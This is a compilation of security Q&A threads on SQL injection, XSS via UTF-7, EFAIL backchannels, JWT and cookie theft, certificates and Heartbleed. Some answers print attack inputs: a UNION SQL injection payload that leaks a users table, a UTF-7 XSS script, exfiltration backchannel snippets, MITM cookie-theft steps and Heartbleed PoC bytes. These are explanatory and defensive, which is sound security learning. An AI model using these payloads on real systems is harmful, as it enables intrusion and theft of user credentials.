How to perform SQL injection with real_escape_string filter in place? can someone give me an example of mySQL injection payload, which will bypass the real_escape_string() sanitize filter in regards to the below php example.

function sanitizeStrXSS51($var)
{
global $connection;
return $connection->real_escape_string($var);
}

$result = queryMysql("SELECT * FROM profiles WHERE user='$user'");

if (isset($_POST['text']))
{
$text = sanitizeStrXSS51($_POST['text']);

if ($result->num_rows)
queryMysql("UPDATE profiles SET text='$text' where user='$user'");
else queryMysql("INSERT INTO profiles VALUES('$user', '$text')");
}

In your specific case, it's not vulnerable.

However, in a case with no quotes, it would be:

$comment_id = mysql_real_escape_string($_GET['id']);
$query = "SELECT id, title, message FROM comments WHERE id = " . $comment_id . " AND published = 1";
// ...
mysql_query($query);

Since there's no quote to escape from, an attacker can simply put 1 OR 1=1 -- - to mess up the logic and return all comments. Not very security impacting, so let's look at something more interesting:

1 UNION SELECT u.id, u.username, u.password FROM users u -- -

This then becomes:

SELECT id, title, message
FROM comments
WHERE id = 1
UNION
SELECT u.id, u.username, u.password
FROM users u -- -
AND published = 1

The -- is a comment flag, which causes the rest of the query to be ignored. The single - on its own can be any character; it's just used to pad the HTTP parameter to ensure there's a space in there before the rest of the SQL. In the end, this returns the username in the title field, and the password in the message field, thus leaking your users table.


SAML and OpenID, centralized and decentralized I'm learning SAML, which is said to be centralized. To understand the difference with decentralized, I'm reading about OpenID.

I find it difficult to understand the difference between the two, regarding centralization. OpenID is said to be decentralized because it supports multiple entities which authenticate users. But this is also the case with SAML.

What makes OpenID decentralized and SAML centralized?

These are not really parallel technologies, but simplistically:

When you are using the SAML model, you typically respect a single issuer of SAML tokens (or perhaps a handful, but pre-defined by the service). That is, there is a single, central repository of user credentials, and all the "consumers" accept its' tokens and validate against that one.

With OpenId, you are typically accepting any OpenId provider, based on the user's input - it could be Google, or Facebook, or StackExchange, or your corporate OpenId provider, or your own home server. Either way, it doesn't matter.

This is not just a question of numbers, either. With SAML, you explicitly trust the SAML server to authenticate and verify your actual identity - which you can later rely on.  With OpenId, you don't necessarily have any trust relationship with the OpenId provider - you accept whatever it tells you, and you don't actually care: you just need some form of assured identity (actually more of a "placeholder" in this case).

So, to sum up: SAML is centralized because you expect to control identities, OpenId is distributed because you have given up that control.


What are the EFAIL "backchannels in email clients not related to HTML"? The published examples for exploiting the EFAIL email encryption vulnerability all appear to use HTML to create a backchannel for exfiltrating decrypted data.

However, the homepage of EFAIL, https://efail.de/ , claims:

  Short term: Disable HTML rendering. [...]

  Note that there are other possible backchannels in email clients which
  are not related to HTML but these are more difficult to exploit.

As far as I can see, all the published examples rely on loading of remote content (i.e. things linked from an HTML mail, such as images or CSS).

So:

Why is it recommended to completely disable HTML rendering? Would it not be enough to disable loading of remote content (which is the default in most modern mail programs anyway)?
What other backchannels are there which are "not related to HTML"? Did the authors elaborate on this somewhere?

At first I would recommend to not only read the homepage of the vulnerability but the actual paper since it has far more details. Your questions are both answered when reading the paper.

  Why is it recommended to completely disable HTML rendering? Would it not be enough to disable loading of remote content (which is the default in most modern mail programs anyway)?

Since the setting to disable remote content (if it exist at all) often does not actually disable all remote content. To take just one example from the paper (page 20,21) the following will cause a request to a remote URL in Thunderbird even though loading of remote content was disabled:

<link href="http://efail.de" rel="preconnect">

  What other backchannels are there which are "not related to HTML"? Did the authors elaborate on this somewhere?

Yes, the authors clearly elaborated about this. At page 20 and 21 of the paper  the authors list the behavior of lots of different mail clients regarding possible backchannels. And while most of the backchannels require HTML some can be caused by normal mail headers. For example according to the paper Apple Mail can be used for a backchannel like this:

Remote-Attachment-Url: http://efail.de


Login form - Incorrect login and password returned in response I am testing web application where in case of incorrect login attempt response contains sent earlier login and password (incorrect one). This values are in value attribute, like in this example:

<input class="form-control" data-val="true" data-val-required="Password required." id="Password" name="Password" type="password" value="qwerty" />

Is this a correct behavior, are there any recommendation concerning this issue?

Incorrect passwords are almost as sensitive as correct ones - just think of all the times you failed to login because caps lock was on... Or all the times you have entered a password you use for another site by mistake.

But is this really a dangerous way to handle passwords, incorrect or not?

Let's concider security in transit first. Here you already send the passwords in one direction. Sending them back as well will not make things worse. So either you use good TLS and everything is fine, or you don't and then this doesn't make things any worse than they already are.

The next issue is security at the client. What I would be concerned about here are two things:

The user might not expect the password to remain accesible after clicking login. It would be easy to leave the password in an open tab. (The fact that it's a password input makes no difference here.)
If the page is cached the users password would end up in the browser cache. That's not so good. But responses to POST requests aren't cached, and hopefully they don't use GET requests for logins anyway. (If they do, there are bigger problems associated with that.)

Finally, on the server side a larger part of the application needs to handle the password because of this. That doesn't have to be a problem, but in general, the more you use passwords the easier it is to accidentally leak them to log files or something like that.

So in conclusion, I would say that this is not good practice. It fulfills not legitimate need. But the effects are not catastrophic either, so I wouldn't be to concerned with it. This is a case of small cost, no benefit.


Definitive certification list What are a list of useful certificates for someone who wants to work on the information security field?

I have heard of CISSP but from what I have understood it is way too advanced for someone new to the field, as it is representing years of experience in the field. What are other useful certificates that, say a (future) penetration tester or a (future) digital forensics investigator might want to hold, that are valid and respected by the industry?

As others have said, the CISSP is perhaps the most well-known and recognized IT Security certification out there.  If you need to start more entry-level, CompTIA's Security+ is a good start, and actually can be used to take a year off of the work experience requirements of the CISSP.

After the basics are out of the way, the question you really need to ask is which certifying authorities are recognized and well-respected.  Then, choose a certification from among those offered by those authorities which properly reflects your experience level and skill set.

The key to remember here, is that a certification should be exemplary of skills that you already posess - not just an exam that you can cram your way through.  Before obtaining a certification, you should have at least some work experience to further demonstrate to potential employers that you actually have experience and knowledge in the subject represented by that certification.

The list referred to by @Rook covers a lot of territory.  There's a number of certifications and organizations on there I've never heard of, but it also lists most of the big industry players as well.

CompTIA offers a number of certifications covering several domains.  However, most of these are very entry-level.  The only Security-speicifc certification they have is Security+.  Other certifications primarily focus on system or network administration and troubleshooting.
(ISC)^2 is all about Information Security.  They have several certifications available, including the well-known CISSP.  A full CISSP certification requires passing a written test, five years of relevant and verifiable work experience, and endorsement by a current CISSP in good standing.  If you fall short of the work experience requirement, you may hold the title of "Associate of (ISC)^2" until such time as you meet that requirement.
EC-Council is most well-known for the CEH.  Most of their other certifications also center around security and penetration testing, but there are some on other topics such as Forensics and Programming.
GIAC was founded by SANS, which is a well-respected institute for security training.  As such, they have numerous certifications covering many different aspects of Information Security.  After obtaining a GIAC certification, you can also go the extra mile by elevating it to Gold status.  This requires you to work with a GIAC adviser who will guide you through the process of writing a research paper (expected to take 6 months) which must be reviewed and endorsed by your adviser and two others in order to be accepted.
Cisco is the go-to vendor for networking certifications.  The most notable of these is the CCNA.  They also offer some certifications which include a security focus.  Their highest-level certification is the legendary CCIE, which requires passing both a two-hour written exam and an eight-hour hands-on lab which is only offered at ten Cisco facilities worldwide.
Microsoft is, of course, where you want to go to get certified on Windows systems.  Perhaps the most well-known, current certification is the MCITP - Server Administrator (formerly known as MCSA).  Some of their certifications are also focused on security.

Full disclosure:  I currently hold certifications from CompTIA, EC-Council, and Cisco, and am pursuing certifications from Microsoft and (ISC)^2.


Why does OWASP ASVS require HTTP responses to have a content header specifying a character set? The OWASP Application Security Verification Standard (ASVS), Version 3, states in clause V11.2:

  Verify that every HTTP response contains a content type header specifying a safe character set (e.g., UTF-8, ISO 8859-1).

What would be the threat of neglecting this requirement, and how could this be exploited?

Decrease client-side attacks.

For example :
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following.
for example (UTF-7 encoding):

+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

And It Is hard to Prevent XSS Attacks

more info : XSS with utf-7


Why does OpenSSL need the private key to revoke a certificate? openssl ca -revoke signed/0A.pem -config caconfig.cnf

What does this do which requires the CA's private key? Does it do anything except updating index.txt?

It is a bug of OpenSSL (at least in version 1.0.1c); precisely, a bug of the command-line "ca" option handling. If you look at the apps/ca.c source file in OpenSSL source code, you may see that the MAIN() function begins by parsing the command-line options, then reads the configuration file, then does this:

    /*****************************************************************/
    /* report status of cert with serial number given on command line */
    if (ser_status)
    {
         /* some stuff */
         goto err;
    }

    /*****************************************************************/
    /* we definitely need a private key, so let's get it */

    if ((keyfile == NULL) && ((keyfile=NCONF_get_string(conf,
            section,ENV_PRIVATE_KEY)) == NULL))
            {
            lookup_fail(section,ENV_PRIVATE_KEY);
            goto err;
            }
    if (!key)
            {
            free_key = 1;
            if (!app_passwd(bio_err, passargin, NULL, &key, NULL))
                    {
                    BIO_printf(bio_err,"Error getting password\n");
                    goto err;
                    }
            }
    pkey = load_key(bio_err, keyfile, keyform, 0, key, e,
            "CA private key");

Which means that the code will recognize the special case of checking on the revocation status of a certificate (command-line option -status), which of course does not need the CA private key, but will otherwise insist on loading the CA private key, whether it will be actually needed or not.

In particular, revoking a certificate, in the context of this tool, means marking it as revoked in the index.txt "database" of issued certificate, which does not use the CA private key. What uses the CA private key is signing the CRL (which informs the rest of the world that the certificate is really revoked), but the -revoke command-line option does not trigger that (it is the -gencrl option which implies issuance of a new CRL).

Summary: "openssl ca -revoke" implies reading the CA private key for no good reason at all. Feel free to patch the tool from its source code, and possibly submit the patch to the OpenSSL maintainers.


What is an "appropriate" request size limit for a web service? Point 18.4 of the OWASP ASVS says

  Verify that all input is limited to an appropriate size limit.

Currently i have an input limit of 50MB on all web services. (And it seems like this is the default in Microsoft Windows.) I imagine that such a high limit allows an easy denial-of-service attack, especially if multiple services can be attacked at the same time. Is this limit set too high? And how should one deal with services that require bigger requests?

This depends on what the webservice is doing.

I'd re-write this OWASP line to: "Verify that all input is limited to a size appropriate for the service".

So if you control the input you can set the size based on that, if the service is accepting something varying size for example images or files, then you'll have to pick a limit which you are happy with and makes sense for the application. There's no point setting it at 1gb if the service is expecting images taken with a smartphone for example.


What's the policy of CAs for validity period of certificates? Let a CA generate a new X.509 certificate for the web. I wonder about the rules for the validity period:

(Q1) On what does the validity period depend on ?

(Q2) Does it depend on the pricing model (the longer the more expensive) ?

(Q3) Does it depend on legal restrications ?

(Q4) Do all CAs assign the same validity period or do they differ between CAs ?

(Q5) Has the subject (who purchases the certificate) influence on the validity period ?

WebPKI?!?
NOTE: All these answers assume you're talking about CERTIFICATES FOR THE WEB (WebPKI). (Not for code signing, e-mail, etc.) Please let me know if this is indeed what you wanted to know.
Now in case you were NOT talking about WebPKI, you may want to take a look at the respective CA's "Certification Practice Statements" (CPS).
Example: Digicert's CPS lists their validity periods here:
https://www.digicert.com/wp-content/uploads/2017/09/DigiCert_CPS_v412.pdf#page=49
Q1
Money.
The longer, the more expensive. See for example: https://www.digicert.com/buy-ssl-certificates/ (Archived here: https://archive.is/G5D9p)
Q2
Yes. See above.
Q3
Not sure. I don't think so.
Q4
DV
They're pretty much all bound to the BASELINE REQUIREMENTS for the regular kind of certs, which are DV (domain validated) certs.
-> https://cabforum.org/wp-content/uploads/CA-Browser-Forum-BR-1.5.4.pdf
And the BRs currently define a limit of 3 years + 3 months. (39 months)
But this will change next year. Then the limit will be 2 years + 3 months. (825 days to be precise.)
Nice blog about this change is here: https://www.entrustdatacard.com/blog/2017/march/maximum-certificate-lifetime-drops-to-825-days-in-2018 (Archived here: https://archive.is/JCa2M)
EV
Now for EV (extended validation) certs the rules are laid out here:
https://cabforum.org/wp-content/uploads/EV-V1_6_7.pdf
And they have this to say:

9.4. Maximum Validity Period For EV Certificate
The validity period for an EV Certificate SHALL NOT exceed 825 days. It is RECOMMENDED that EV Subscriber
Certificates have a maximum validity period of twelve months.

-- To be honest I have no idea at all what kind of weight a statement like "It is RECOMMENDED" carries. (I'm genuinely interested. Does anybody care about such a recommendation? Are there soft sanctions, like being frowned upon or something? -- Please leave a comment if you know more.)
But take the Digicert link from above: they currently do offer 2 year EV certs. (In spite of the recommendation.)
Q5
Yes. You pay more, you get longer validity. (Up to the limit mentioned above.)


Advice on using encryption for self training app I am self training on using encryption. I am a php developer and in my spare time I am building an online app that provides basic cms features to help me understand encryption design more. I am using encryption to protect the data if stolen and having it accessible to public like what happened to adobe.

My restrictions for this app are:

End users will be using this app and cannot be trusted to remember their password all the time so their password cannot be used in the encryption process as there will be a high chance that they will need to reset their password at some stage.
Cannot afford vendor key management software or hsm.
Cannot have users loading in a key when logging into cms to encrypt or decrypt data during session. In fact users will not have any access to the keys used as they cannot be trusted to keep keys safe. Plus external users such as contractors will have access to cms. So all keys managed by app under the covers.

The data will be stored in a db encrypted. The code will encrypt the data as I am not using the native encryption of mysql.

The data will be encrypted using a symmetric key.

The symmetric key will be stored on another server that is firewalled off and only callable via cms ip. The cms when it needs a particular symmetric key will call the server which stores the symmetric keys and pass a hash value that will be used to look up the correct symmetric key. When the key is located it will send the key back to the cms and the cms will store the key in memcached.

Now I was thinking that I need to protect the symmetric keys so what I thought I should do is encrypt the symmetric keys with asymmetric public key and store the encrypted symmetric key in a db on the non cms server then when the cms gets the key it uses the private key stored on the cms server to decrypt it.

Yesh!

It's like chicken/egg!

I was wondering if anyone can give me some guidance on how to do this correctly. My goal for this project is to protect the data if the db is stolen.

I think it's bad to store the private key on the cms server because if the non cms server which stores the symmetric keys used to encrypt the data is also hacked then all the keys are available.

The app will also be checking inputs for injection attempts, Xss, using ip whitelisting for accessing cms, encrypting session cookie, cleaning input data and other basic security fundamentals.

Welcome to security.se and to key management!

Storing the keys is always the biggest issue with server-side encryption: on one hand, you need easy and transparent access to the key by your application and on the other hand, you need to protect your data from any unauthorized access.

The usual answer to this is to use a hardware security module (HSM). This type of hardware device (which range from a simple USB key-like device to rack-mounted systems) have special, tamper-proof storage for they key themselves and will handle all crypto operations using these keys (decryption and digital signature, encryption and validation can be done outside the device since you do not need access to the private keys).

Using this approach, assuming you did implement encryption properly, you limit the way in which data can be leaked:  even if someone obtain a dump of your database, they will not gain access to the cleartext data unless the physically steal the HSM (which is easier to protect).

However, this kind of setup is very difficult to implement properly and efficiently. While in theory quite secure, it's often still possible to grab cleartext data or even symmetrical encryption keys (if you used the HSM to gain access to these keys) from the process memory. Modern, high-level languages like PHP, Java and C# are particularly prone to keeping that kind of sensitive information in memory for extended period of time since there is no way to explicitly zero and free memory (and even if you do, there is often a trace left in the page file).

Also, you're still left open to any kind of code injection that will grant access to your data after it has been decrypted (for instance, if you use transparent data encryption, it will not protect your data against any kind of SQL injection in your own program).


What protects a JWT from being hijacked and used to pose as the original user? Sorry for this possibly silly question, I'm just learning about JWT so please bear with me...

I read the JWT docs extensively but I don't understand what prevents a hacker from hijacking the JWT and posing as the user for which it was originally issued.

Here's the scenario I'm worried about: suppose a bad actor is somehow able to sniff traffic on my corporate network and also has a simple account on my site. If he is able to find an employee user who has admin or special permissions, can't he log in to the site, receive his SSL cookie, then hijack the employee's JWT and pose as that user now and gain those special permissions?

Since I won't be checking the bad actor's credentials again, only their JWT, it seems to me the bad actor could submit the JWT using the site SSL through his simple account...

What part of the puzzle am I missing here? Thank you!

JWT  are only an encapsulation of information into a string with the ability to encrypt these information and detect tampering. JWT by themselves don't protect against cookie theft or misuse done with sniffing, XSS, CSRF, browser extensions or similar.

This means you still need to employ the usual methods to protect the token or cookie against misuse, i.e. use http-only cookies to protect against XSS, use TLS to protect against sniffing, use CSRF tokens or other techniques to protect against CSRF etc. And you might include some information in the protected token which make misuse harder, like a fingerprint of the browser, source IP of the user etc  - see OWASP: Binding the Session ID to Other User Properties. Of course you need to verify these information each time the cookie is used for authorization.


How do I protect myself from clickjacking attacks? I've seen many friends getting clickjacked on Facebook and similar sites.

How does one detect and prevent clickjacking? How should I teach my friends to do the same?

First and foremost, your web browser must be kept updated. So are your plugins and plugin-related applications, especially Java and Flash.

Secondly, it's very recommend to use the ClearClick functionality in NoScript. If you're not planning to block scripts, you can use the relaxed settings, but make sure you enable ClearClick. This feature protects against the vast majority of clickjacking attacks varieties.

Finally, exercise common sense. A website that tells you to click a button to win an iPhone is very likely a scam, so is the website asking you to click a link so you can download a full version of some explicit material (such as videos and pictures with sexual contents). The same goes for the webpage promising you videos of kittens saying silly things.


Secure Routing without relying on Cryptography? Is anyone aware of a routing protocols for Ad Hoc Networks (such as OLSR, AODV, ZRP) which are secure without relying on pre-established key management? What I mean by secure is, preventing data modification in some way such that the routing information will be correct. This would then prevent black-hole attacks and such.

I am looking into key management schemes for an ad hoc network, but am unsure if I can assume an underlying secure routing protocol.

In general, no ad hoc network is actually secure unless it is encrypted because whatever method you would use to validate into it would be transmitted in a readable, and therefore, reproducible way.  For example, if the protocol said you have to send me your MAC or IP address so I can make sure you are on the white list, then an attacker could sniff packets to find what identifying factors are being sent, then just pretend to be that guy.  If you use a username and password, then that will also be transmitted, unencrypted, and be able to be reused.


PCI Compliance Scan & Globalscape EFT Web App Cookies Not Marked Secure I have a situation where we are performing external PCI compliance scans against our Globalscape EFT server. The scan is reporting:

HTTP (443/tcp) - Web Application Cookies Not Marked Secure

Per our external PCI compliance vendor:

  The cookies that need to be addressed are passchangesession and
  loginsession which are found in the Details section to the left of the
  Exception Request tab. For each, we need the following information:
  The name of the cookie detected A description of what the detected
  cookie's purpose is (e.g., load balancing, third-party tracking) If
  the cookies are session cookies, then the secure flag needs to be set
  and a rescan done to demonstrate this change.

Cookies in question:

Name : passchangesession

Name : loginsession

I have confirmed they are session cookies. But Globalscape has not provided a solution on how to set the secure flag. All EFT traffic is also restricted to TLS 1.2 HTTPS and we deny HTTP. But this is not an acceptable compensating control, or invalid finding per vendor.

Globalscapes response was:

  EFT Server does secure its session cookies when accessed over HTTPS
  (HTTP over SSL). What the scanner is picking up is a special case
  where the server is being accessed over plain-text HTTP, and EFT
  Server is redirecting the session temporarily over to HTTPS (to secure
  the login sequence), and subsequently (post login), back to HTTP. In
  the case of plain-text HTTP sessions, the secure flag should not be
  set for cookies. Please refer to the recommendations section below for
  more information.

Has anyone else been able to mitigate this and/or get an exception approved?

Not using the Secure flag on cookies is a critical security issue, regardless of whether the site is actually available over HTTP or not. A man-in-the-middle (MITM) network attacker can very easily steal them if they aren't flagged Secure:

Attacker finds a user who is logged into the target site.
Attacker waits for the user to browse to literally any site over unsecured HTTP (it doesn't need to be related to the target site in any way).
Attacker injects a simple, invisible element into the HTTP response that will trigger an HTTP request (for example, <script src="http://targetsite.com/"></script>, even though the root page is presumably not a script).
The user's browser will attempt to connect to the target site over HTTP, which the attacker can complete on the server's behalf (the server never even sees the request, so it doens't matter that it won't respond to HTTP requests).
The user's browser will send the request, including all non-Secure-flagged cookies for the vulnerable site; the attacker can easily harvest these.

For modern browsers, this attack could be thwarted by using HTTP Strict Transport Security (HSTS) or possibly the new SameSite flag on cookies, but a server that isn't using Secure on its session cookies probably isn't using any of these other security measures either, and in any case they wouldn't protect users with old browsers.

I checked Globalscape's knowledge base, and didn't see any way to require the Secure flag on the cookies universally. The scenario described, where the user is redirected from HTTP to HTTPS for login and then back to HTTP, is NOT secure and never should be allowed (Firesheep, a simple Firefox extension that automated attacks against such sites, was released nearly 8 years ago!)

If Globalscape is still allowing that behavior, it should be considered a serious security bug in their product, and your compliance vendor is absolutely correct that it's not suitable for use with payment card info. On the other hand, you claim that the EFT server is only accessible over HTTPS, in which case (per the company's claim) then the scanner shouldn't be able to trigger the "special case" where the cookies are sent insecurely.

Without more information (does EFT Server set the Secure flag if accessed over HTTPS? If so, why was the scanner able to get insecure cookies, given that you say the server isn't available over HTTP? If not, there may be no short-term fix), I can't really tell you what will be needed to fix the issue in the short term. In the long term, you need to either convince Globalscape to bring their web security into this decade, isolate it behind a front-end that is written with security in mind, or change vendors.


How much security should I use for my web application? My question is, for a "normal" site, what do you think is enough to secure against methods used by "script kiddies"? For example, SQL injection, XSS, and stuff like that.

Same question for password hashes. Do you think it is enough to hash with MD5 + random salt, or minimum SHA1 + random salt, or should something even stronger be used?

I know that no application is fully secure, but I want to achieve good security without being overly complex.

This sounds like a "how long is a piece of string" question. There's no definite answer. It all depends on the value of the data or this web site, the likelihood of it being attacked, the skill or tools the attacker would have, the vulnerabilities that the site might already have etc. Also you'd have to weigh the complexity or cost of implementing your security controls compared to how much you gain or lose. e.g. how easy or difficult it is to change the hash from MD5 to SHA1 vs. what might you lose if someone gets those hashes.

I would say that the likelihood of any website on the internet to be attacked by script-kiddies is reasonably high. There are plenty of tools, and plenty of bored people who want to have fun, or learn how to be a hacker. So as a minimum, you'd want to make sure you're covered against known vulnerabilities. If you want to go a step further, try to scan it with some tools script kiddies might use yourself to find out. There are also a growing number of SaaS providers offering this kind of service, some of them might even have a basic free option. You can easily start with that, and continue to grow/improve depending on your risk profile. When you consider this, don't just think about script kiddies and hackers. What about your own staff? developers, systems administrators, your hosting provider? People with legitimate access, who might make a mistake, or deliberately do something bad. Those are also a potential risk. Also, it's not just technical issues. Think about social engineering, phishing attacks etc.

Other than that, if it's for your own learning and development. Try to list all those security improvements / problems and rate them somehow. Even if you're not sure, it's better to have some priorities in mind. Start with the items that are the biggest 'bang for the buck', i.e. easy to fix, high risk. Then go down the list and gradually improve your security.


Write & "WHERE" Clause Only? I've had an idea kicking around in my head for a while, and am wondering if there are problems with it or it just has no value.  What if a Database server (such as Postgres) had a column that could only be used for INSERT or as part of a WHERE clause?  I'm thinking of its use for storing password hashes, such that even with SQL injection, an attacker could not dump the hashes.  (Yes, the hashes would still be in files on disk.)  It seems to me this would be relatively easy to implement and another layer in a defense-in-depth strategy.

A similar, but potentially stronger concept is to remove access to the tables entirely and manage all data access through stored procedures, as @CodesInChaos alluded to in a comment.

If a user doesn't have access to run SQL queries directly against the table, then you have complete control over the data that can be returned to the application.   The stored procedures in this model become an API for the database, essentially.


XER encoded X.509 certs Would anyone happen to have an example of an XER encoded X.509 certificate so I can play around with it?

Thanks!

X.509 states that certificates use DER encoding:

  For signature
     calculation, the data that is to be signed is encoded using the ASN.1
     distinguished encoding rules (DER)

Nominally, you could imagine that you encode the certificate data in XER, and that the DER encoding of the to-be-signed structure (TBSCertificate) is performed dynamically for purposes of computing or verifying the signature, but nobody does that because:

It would be very hard to do, because although DER is suposedly deterministic, there are an awful lot of details which can get wrong (do you use UTCTime or GeneralizedTime for the validity dates ? How do you handle milliseconds in the date representation ? For DN components, do you use PrintableString, BMPString, UTF8String ? Which kind of Unicode decomposition do you use for diacritics ? And so on). It would not be reliable.
XML encoding is awfully inefficient, both in space (it uses a lot of bytes, even when compared with Base64-encoded DER) and in CPU (that can be a tough issue with reduced platforms like smart cards).
Certificates are all about interoperability, and nobody supports XER-encoded certificates, so there is no added value in supporting them right now. There is no incentive either: what XML can bring (compared to DER) is automatic support of generic data transforms (XPath, XSLT... you name it), but that's the kind of thing that we do not want to do with certificates, because a certificate is signed and you cannot change a single bit of it without invalidating the signature.

If you want to play with signatures on XML data, lookup XML-DSig. It is noteworthy that when an XML-DSig object embeds a certificate (as an X509Certificate element), it uses Base64 encoding of the binary certificate (i.e., DER-encoded certificate)(see section 4.4.4).

Summary: there is no such thing as a "standard" XER-encoded certificate and I predict that it will take some time before such a thing appears (and I pray all the gods I know that it will not happen before I retire).


Trusting your Incident Response Tool Let's say you deploy an incident response tool on a server or endpoint such that you can connect to the system remotely if an incident occurs.

In one of the worst cases you could have a rootkit, wouldn't that in and of itself make one not trust what your incident response tool is telling you. Wouldn't you have to instead bring a CD with trusted (statically linked) tools to the host in question to be sure the commands you run are telling you the truth?

In the real world, that's not practical.  Amazon isn't going to let you in the door of their data center to insert a CD into one of their cloud computers.  Has that stopped Amazon Web Services from existing?  Has that stopped people from building many successful businesses in Amazon's cloud?  The existence (and profitability) of AWS suggests that they're pretty trustworthy.

Instead, we try to install the software security agents on freshly built machines, and exercise a bit of trust that they weren't maliciously modified in the meantime.  It's a practical approach that covers most of the attack surface.

Consider the inverse:  How would you know if the CD you would use to install the agent is a genuine image, and not a clever forgery that contains a root kit?  How do you know the server doesn't have a malicious chip created by an untrustworthy foundry, and installed by an unscrupulous motherboard vendor?  How do you know some shadowy attacker hasn't installed a COTTONMOUTH-III board in the machine's USB tower while it sat waiting to clear Customs?  At some point, you have to let go and exercise some trust.  The trick is to never let the inability to achieve absolute perfection keep you from getting to a state that's "good enough".  Yes, there's always a gap, a hole in the process, something that could be exploited by the right person at the right time.  Minimize the gaps, certainly, but be aware they're going to exist regardless of what you do.

A more rational approach is to perform a risk assessment and risk analysis. You have a finite security budget -- everyone does. Do you want to spend it all on carrying CDs around to your servers on the tiny chance it's already infested with a rootkit that you're completely unaware of? Or would it make more sense to spend it on a more immediate threat or urgent problem, like implementing a network intrusion detection and response system, or training your users to recognize phishing attacks, or auditing your TLS configuration?

Hit the realistic problems first.


What are the risks of allowing the storage of persistent cookies on your system? Usually, the risks of persistent cookies are described from the point-of-view of the site, not the user: if you implement persistent cookies the probability of someone stealing a cookie and using it to access your site without proper authorization is higher.

In the past, misinformation led to people to think that cookies my carry malware or something similar, that we today know is not feasible because cookies are stored as plain text files.

The main threat I visualize is that if you store persistent cookies if someone access your PC he/she may steal the cookie and impersonate you in the site.

Do you visualize any other risks from the point of view of the user?

The two main threats are:

Physical or logical access - an attacker stealing authentication token values to use themselves, either physically at the machine or via some malware vector.
XSS - a remote attacker stealing cookies using an XSS vulnerability. With persistent cookies this would not require the user being logged in during a recent session.


Unauthorized activity on port 3389 If you detect activity on port 3389 (the mouse starts moving) What is the first steps you should take from a security standpoint, and who should be notified?

You've got two choices:

Cut and run
Dig deeper

Option 1 involves physically unplugging the machine from the network, then treating it as hostile. It's been infected, therefore it's no longer your computer. Grab whatever files you need from it via a live CD, and wipe the drive. Make sure to run an up-to-date AV over the files you copy, just in case they've been infected with anything. This especially includes documents (.doc, .pdf, etc), as well as scripts and executables, as they're a common target these days.

Option 2 involves potentially losing data, and giving the attacker time to do nasty things with your computer / network. Grab a bunch of tools (Wireshark / Process Explorer) and work out what the hell is going on.

Some tips:

Store the Wireshark .pcap dump on a removable drive for later analysis.
Run netstat -an to get a full list of active TCP connections / listeners.
Launch Process Explorer, save the process list to a file, then dig around in anything that looks unusual.
Do a memory dump of potentially infected / malicious processes using ProcDump, with the following command: procdump -mp <pID> Save the dumps somewhere safe.
Shut down the machine, load it into a live CD, then manually analyse the registry and file system using forensics tools.

I highly recommend option 1 for safety, but the second option will provide you with a better idea of who the attacker is and what they're up to.


Heartbleed: length of heatbeat message? What is the right length of heartbeat message between 2^14 and 2^16 ?

The RFC https://tools.ietf.org/html/rfc6520 says that

  The total length of a HeartbeatMessage MUST NOT exceed 2^14 or
  max_fragment_length when negotiated as defined in [RFC6066].

In this Heartbleed PoC the size is 40 00 in hex so 16 384 -> 2^14

But if I check these explanations (two from many):

http://stackabuse.com/article/how-to/how-to-exploit-the-heartbleed-bug
http://www.seancassidy.me/diagnosis-of-the-openssl-heartbleed-bug.html

Then the maximum length is 65 535 -> 2^16

EDIT SOLVED ?

I test Heartbleed PoC code, the hb code is :

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

40 00 -> 16 384 -> 2^14

If i print the length received, it show 16 384

If i replace 40 00 by FF FF -> 2^16, the length of the data received is still  16 384 four time.

16 384
16 384
16 384
16 384

=> 2^16

Interesting

So the max is 2^16 but it will be divided on packets length 2^14

The maximum size of a HeartbeatMessage (including padding, etc.) is 2^14 per RFC 6520 sect. 4 as you pointed out.

OpenSSL however had an implementation issue that did not properly check for this bound (and allowing values up to the maximum size of an 16-bit integer, that is about 2^16). The result is known as the "Heartbleed" bug. See this OpenSSL commit for the fix which adds the missing boundary check.

If you are wondering why setting the payload length to 0xFFFF does not result in a single response of about 2^16 bytes, this is because the maximum size for a TLSPlainText must not exceed 2^14 which is also enforced in OpenSSL. (For a detailed explanation on the exact format for a crafted Heartbeat message, see these comments of the pacemaker PoC.)


Is it possible for specific event logs to have been deleted? I'm analyzing several hacked machines on our network. On the original hacked machine, I've found event logs indicating a series of successful RDP connections to other machines, but when I go to those machines and check the RDP connection logs, I don't see any logs at all around that time period. I also don't see much in the security or application log except for DWM sessions starting.

I know that functionality to delete specific events from the log is not exposed, but do you know of any tools that can modify event log exports? I'm thinking maybe the log was backed up and cleared and then the backup was tampered with before restoring or something like that. Otherwise, I'm not sure how I could have logs on one machine but only have logs before and after on the others.

Thanks.

As far as I know, there is no way to delete/alter individual events from an event log (Application, System, Security, etc.) under Windows. The "most" you can do is delete them, but even that would generate an event in the case where the Security log is cleared (Event ID 1102).

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=1102

Apparently, Shadow Brokers released a tool called EventLogEdit that allows to edit events on the fly, even when the system is running.

https://threatpost.com/shadowbrokers-selling-windows-exploits-attack-tools/123027/

Though I have yet to read about it being used in any attacks so far.


Guest WiFi: Can I see who joins? I set up a Guest wifi on my new router. It has no password.

For some reason, I cannot see who joins it on my router's settings at 192.168.1.1. The other connections I have do show connected devices, however.

Is this a settings problem? Or are Guests usually invisible to me? I am curious, since I can see if it is used rarely (and so worth providing), or instead is used by multiple unknown people continuously, and so bringing down the capacity.

Also: Is this wise? Can someone easily hack my usual connection if I provide free guest wifi without a password?

In general this depends on the router. All WiFi routers know the WiFi Mac addresses of all associated devices, but whether you can login and see that data depends on how “manageable” the WiFi router is.  But the MAC address is not necessarily a useful device name.

Whether the WiFi threatens your devices on your secured SSID also depends on the vendor. I would expect a guest WiFi to not allow users on that net to access each other (p2p blocking) and definitely not access your secured wired/wireless nets.

The only way to know for sure is to try it. Associate to the guest net and try to access your secure net devices.

The other problem with a wide open guest WiFi network is that it is probably accessible from your neighbors houses, and they may use the network to access ...inappropriate... content that may result in a law enforcement visit or your ISP threatening to turn you off.

I personally like guest WiFi. It minimizes the cases where I give out my internal WiFi password to guests. But letting the neighbors or pedestrians use my WiFi to download possibly awful content is a real showstopper.  Setting your DNS server to openDNS (and turning on appropriate DNS filtering) can minimize this risk for non-technical neighbors. Technical neighbors can statically set their own DNS of course.


Is IPv6 with NAT less secure than IPv4? This is a follow up to a snippet from another answer.

